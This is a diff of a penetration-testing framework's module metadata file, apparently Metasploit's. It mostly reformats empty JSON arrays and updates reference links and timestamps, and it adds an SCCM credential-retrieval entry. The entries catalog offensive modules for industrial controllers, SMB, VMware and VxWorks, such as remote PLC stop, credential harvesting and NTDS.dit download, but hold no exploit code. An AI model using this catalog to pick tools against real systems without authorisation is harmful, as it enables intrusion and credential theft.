@@ -10161,12 +8977,8 @@ "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/scada/modicon_command.rb", @@ -10175,20 +8987,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/modicon_password_recovery": { "name": "Schneider Modicon Quantum Password Recovery", "fullname": "auxiliary/admin/scada/modicon_password_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -10218,20 +9025,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/modicon_stux_transfer": { "name": "Schneider Modicon Ladder Logic Upload/Download", "fullname": "auxiliary/admin/scada/modicon_stux_transfer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-05", "type": "auxiliary", @@ -10246,12 +9048,8 @@ "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-10 18:03:35 +0000", "path": "/modules/auxiliary/admin/scada/modicon_stux_transfer.rb", @@ -10260,20 +9058,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/moxa_credentials_recovery": { "name": "Moxa Device Credential Retrieval", "fullname": "auxiliary/admin/scada/moxa_credentials_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-28", "type": "auxiliary", @@ -10292,12 +9085,8 @@ "platform": "", "arch": "", "rport": 4800, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb", @@ -10306,20 +9095,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/multi_cip_command": { "name": "Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands", "fullname": "auxiliary/admin/scada/multi_cip_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -10335,12 +9119,8 @@ "platform": "", "arch": "", "rport": 44818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/scada/multi_cip_command.rb", @@ -10349,20 +9129,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/mypro_mgr_creds": { "name": "mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)", "fullname": "auxiliary/admin/scada/mypro_mgr_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2025-02-13", "type": "auxiliary", @@ -10414,16 +9189,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/pcom_command": { "name": "Unitronics PCOM remote START/STOP/RESET command", "fullname": "auxiliary/admin/scada/pcom_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10437,12 +9208,8 @@ "platform": "", "arch": "", "rport": 20256, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-29 16:19:13 +0000", "path": "/modules/auxiliary/admin/scada/pcom_command.rb", @@ -10451,20 +9218,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/phoenix_command": { "name": "PhoenixContact PLC Remote START/STOP Command", "fullname": "auxiliary/admin/scada/phoenix_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-05-20", "type": "auxiliary", @@ -10479,12 +9241,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/scada/phoenix_command.rb", @@ -10493,20 +9251,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/yokogawa_bkbcopyd_client": { "name": "Yokogawa BKBCopyD.exe Client", "fullname": "auxiliary/admin/scada/yokogawa_bkbcopyd_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-09", "type": "auxiliary", @@ -10521,12 +9274,8 @@ "platform": "", "arch": "", "rport": 20111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-10 10:28:25 +0000", "path": "/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb", @@ -10535,8 +9284,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -10554,12 +9302,68 @@ } ] }, + "auxiliary_admin/sccm/get_naa_credentials": { + "name": "Get NAA Credentials", + "fullname": "auxiliary/admin/sccm/get_naa_credentials", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "xpn", + "skelsec", + "smashery" + ], + "description": "This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.\n This requires a computer account, which can be added using the samr_account module.", + "references": [ + "URL-https://blog.xpnsec.com/unobfuscating-network-access-accounts/", + "URL-https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md", + "URL-https://github.com/Mayyhem/SharpSCCM", + "URL-https://github.com/garrettfoster13/sccmhunter" + ], + "platform": "", + "arch": "", + "rport": 389, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-03-03 11:47:10 +0000", + "path": "/modules/auxiliary/admin/sccm/get_naa_credentials.rb", + "is_install_path": true, + "ref_name": "admin/sccm/get_naa_credentials", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] + }, + "session_types": [ + "ldap" + ], + "needs_cleanup": false, + "actions": [] + }, "auxiliary_admin/serverprotect/file": { "name": "TrendMicro ServerProtect File Access", "fullname": "auxiliary/admin/serverprotect/file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10575,12 +9379,8 @@ "platform": "", "arch": "", "rport": 5168, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/admin/serverprotect/file.rb", @@ -10589,8 +9389,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -10615,9 +9414,7 @@ "auxiliary_admin/smb/change_password": { "name": "SMB Password Change", "fullname": "auxiliary/admin/smb/change_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10648,12 +9445,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ] @@ -10684,9 +9477,7 @@ "auxiliary_admin/smb/check_dir_file": { "name": "SMB Scanner Check File/Directory Utility", "fullname": "auxiliary/admin/smb/check_dir_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10695,9 +9486,7 @@ "j0hn__f" ], "description": "This module is useful when checking an entire network\n of SMB hosts for the presence of a known file or directory.\n An example would be to scan all systems for the presence of\n antivirus or known malware outbreak. Typically you must set\n RPATH, SMBUser, SMBDomain and SMBPass to operate correctly.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10717,20 +9506,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/delete_file": { "name": "SMB File Delete Utility", "fullname": "auxiliary/admin/smb/delete_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10738,9 +9522,7 @@ "mubix " ], "description": "This module deletes a file from a target share and path. The usual reason\n to use this module is to work around limitations in an existing SMB client that may not\n be able to take advantage of pass-the-hash style authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10760,22 +9542,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/download_file": { "name": "SMB File Download Utility", "fullname": "auxiliary/admin/smb/download_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10783,9 +9560,7 @@ "mubix " ], "description": "This module downloads a file from a target share and path. The usual reason\n to use this module is to work around limitations in an existing SMB client that may not\n be able to take advantage of pass-the-hash style authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10805,22 +9580,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/list_directory": { "name": "SMB Directory Listing Utility", "fullname": "auxiliary/admin/smb/list_directory", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10829,9 +9599,7 @@ "hdm " ], "description": "This module lists the directory of a target share and path. The only reason\n to use this module is if your existing SMB client is not able to support the features\n of the Metasploit Framework that you need, like pass-the-hash authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10851,20 +9619,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/ms17_010_command": { "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution", "fullname": "auxiliary/admin/smb/ms17_010_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-14", "type": "auxiliary", @@ -10913,16 +9676,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/psexec_ntdsgrab": { "name": "PsExec NTDS.dit And SYSTEM Hive Download Utility", "fullname": "auxiliary/admin/smb/psexec_ntdsgrab", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10953,22 +9712,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/samba_symlink_traversal": { "name": "Samba Symlink Directory Traversal", "fullname": "auxiliary/admin/smb/samba_symlink_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11001,20 +9755,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/upload_file": { "name": "SMB File Upload Utility", "fullname": "auxiliary/admin/smb/upload_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11022,9 +9771,7 @@ "hdm " ], "description": "This module uploads a file to a target share and path. The only reason\n to use this module is if your existing SMB client is not able to support the features\n of the Metasploit Framework that you need, like pass-the-hash authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -11044,22 +9791,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/webexec_command": { "name": "WebEx Remote Command Execution Utility", "fullname": "auxiliary/admin/smb/webexec_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11090,20 +9832,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/sunrpc/solaris_kcms_readfile": { "name": "Solaris KCMS + TTDB Arbitrary File Read", "fullname": "auxiliary/admin/sunrpc/solaris_kcms_readfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-01-22", "type": "auxiliary", @@ -11121,12 +9858,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-10-05 13:50:30 +0000", "path": "/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb", @@ -11135,20 +9868,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/teradata/teradata_odbc_sql": { "name": "Teradata ODBC SQL Query Module", "fullname": "auxiliary/admin/teradata/teradata_odbc_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-29", "type": "auxiliary", @@ -11163,12 +9891,8 @@ "platform": "", "arch": "", "rport": 1025, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/admin/teradata/teradata_odbc_sql.py", @@ -11184,16 +9908,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/tftp/tftp_transfer_util": { "name": "TFTP File Transfer Utility", "fullname": "auxiliary/admin/tftp/tftp_transfer_util", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11208,12 +9928,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/tftp/tftp_transfer_util.rb", @@ -11222,8 +9938,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11240,9 +9955,7 @@ "auxiliary_admin/tikiwiki/tikidblib": { "name": "TikiWiki Information Disclosure", "fullname": "auxiliary/admin/tikiwiki/tikidblib", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-11-01", "type": "auxiliary", @@ -11282,8 +9995,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11296,9 +10008,7 @@ "auxiliary_admin/upnp/soap_portmapping": { "name": "UPnP IGD SOAP Port Mapping Utility", "fullname": "auxiliary/admin/upnp/soap_portmapping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11336,8 +10046,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11354,9 +10063,7 @@ "auxiliary_admin/vmware/poweroff_vm": { "name": "VMWare Power Off Virtual Machine", "fullname": "auxiliary/admin/vmware/poweroff_vm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11364,9 +10071,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to power off\n a specified Virtual Machine.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11393,20 +10098,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/poweron_vm": { "name": "VMWare Power On Virtual Machine", "fullname": "auxiliary/admin/vmware/poweron_vm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11414,9 +10114,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to power on\n a specified Virtual Machine.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11443,20 +10141,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/tag_vm": { "name": "VMWare Tag Virtual Machine", "fullname": "auxiliary/admin/vmware/tag_vm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11464,9 +10157,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and\n 'tag' a specified Virtual Machine. It does this by\n logging a user event with user supplied text", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11493,20 +10184,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/terminate_esx_sessions": { "name": "VMWare Terminate ESX Login Sessions", "fullname": "auxiliary/admin/vmware/terminate_esx_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11514,9 +10200,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to terminate\n user login sessions as specified by the session keys.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11543,20 +10227,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/vcenter_forge_saml_token": { "name": "VMware vCenter Forge SAML Authentication Credentials", "fullname": "auxiliary/admin/vmware/vcenter_forge_saml_token", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-04-20", "type": "auxiliary", @@ -11616,9 +10295,7 @@ "auxiliary_admin/vmware/vcenter_offline_mdb_extract": { "name": "VMware vCenter Extract Secrets from vmdir / vmafd DB File", "fullname": "auxiliary/admin/vmware/vcenter_offline_mdb_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-10", "type": "auxiliary", @@ -11632,12 +10309,8 @@ "platform": "Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-05-26 11:52:56 +0000", "path": "/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb", @@ -11669,9 +10342,7 @@ "auxiliary_admin/vnc/realvnc_41_bypass": { "name": "RealVNC NULL Authentication Mode Bypass", "fullname": "auxiliary/admin/vnc/realvnc_41_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-05-15", "type": "auxiliary", @@ -11689,12 +10360,8 @@ "platform": "", "arch": "", "rport": 5900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb", @@ -11703,20 +10370,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vxworks/apple_airport_extreme_password": { "name": "Apple Airport Extreme Password Extraction (WDBRPC)", "fullname": "auxiliary/admin/vxworks/apple_airport_extreme_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11726,40 +10388,31 @@ "description": "This module can be used to read the stored password of a vulnerable\n Apple Airport Extreme access point. Only a small number of firmware versions\n have the WDBRPC service running, however the factory configuration was\n vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are\n susceptible to this issue. Once the password is obtained, the access point\n can be managed using the Apple AirPort utility.", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb", "is_install_path": true, "ref_name": "admin/vxworks/apple_airport_extreme_password", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vxworks/dlink_i2eye_autoanswer": { "name": "D-Link i2eye Video Conference AutoAnswer (WDBRPC)", "fullname": "auxiliary/admin/vxworks/dlink_i2eye_autoanswer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11769,40 +10422,31 @@ "description": "This module can be used to enable auto-answer mode for the D-Link\n i2eye video conferencing system. Once this setting has been flipped,\n the device will accept incoming video calls without acknowledgement.\n The NetMeeting software included in Windows XP can be used to connect\n to this device. The i2eye product is no longer supported by the vendor\n and all models have reached their end of life (EOL).", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb", "is_install_path": true, "ref_name": "admin/vxworks/dlink_i2eye_autoanswer", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vxworks/wdbrpc_memory_dump": { "name": "VxWorks WDB Agent Remote Memory Dump", "fullname": "auxiliary/admin/vxworks/wdbrpc_memory_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11812,28 +10456,23 @@ "description": "This module provides the ability to dump the system memory of a VxWorks target through WDBRPC", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb", "is_install_path": true, "ref_name": "admin/vxworks/wdbrpc_memory_dump", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11846,9 +10485,7 @@ "auxiliary_admin/vxworks/wdbrpc_reboot": { "name": "VxWorks WDB Agent Remote Reboot", "fullname": "auxiliary/admin/vxworks/wdbrpc_reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11858,28 +10495,23 @@ "description": "This module provides the ability to reboot a VxWorks target through WDBRPC", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb", "is_install_path": true, "ref_name": "admin/vxworks/wdbrpc_reboot", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11892,9 +10524,7 @@ "auxiliary_admin/webmin/edit_html_fileaccess": { "name": "Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access", "fullname": "auxiliary/admin/webmin/edit_html_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-09-06", "type": "auxiliary", @@ -11936,8 +10566,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11950,9 +10579,7 @@ "auxiliary_admin/webmin/file_disclosure": { "name": "Webmin File Disclosure", "fullname": "auxiliary/admin/webmin/file_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-06-30", "type": "auxiliary", @@ -11993,8 +10620,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12007,9 +10633,7 @@ "auxiliary_admin/wemo/crockpot": { "name": "Belkin Wemo-Enabled Crock-Pot Remote Control", "fullname": "auxiliary/admin/wemo/crockpot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12018,7 +10642,7 @@ ], "description": "This module acts as a simple remote control for Belkin Wemo-enabled\n Crock-Pots by implementing a subset of the functionality provided by the\n Wemo App.\n\n No vulnerabilities are exploited by this Metasploit module in any way.", "references": [ - "URL-https://www.crock-pot.com/wemo-landing-page.html", + "URL-http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html", "URL-https://www.belkin.com/us/support-article?articleNum=101177", "URL-http://www.wemo.com/" ], @@ -12041,7 +10665,7 @@ "https" ], "targets": null, - "mod_time": "2020-12-03 01:04:48 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/wemo/crockpot.rb", "is_install_path": true, "ref_name": "admin/wemo/crockpot", @@ -12072,9 +10696,7 @@ "auxiliary_admin/zend/java_bridge": { "name": "Zend Server Java Bridge Design Flaw Remote Code Execution", "fullname": "auxiliary/admin/zend/java_bridge", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-28", "type": "auxiliary", @@ -12091,12 +10713,8 @@ "platform": "", "arch": "", "rport": 10001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/zend/java_bridge.rb", @@ -12105,20 +10723,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_analyze/apply_pot": { "name": "Apply Pot File To Hashes", "fullname": "auxiliary/analyze/apply_pot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12126,18 +10739,12 @@ "h00die" ], "description": "This module uses a John the Ripper or Hashcat .pot file to crack any password\n hashes in the creds database instantly. JtR's --show functionality is used to\n help combine all the passwords into an easy to use format.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/analyze/apply_pot.rb", @@ -12146,8 +10753,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12172,18 +10778,12 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from passwd files on AIX systems. These utilize DES hashing.\n DES is format 1500 in Hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - 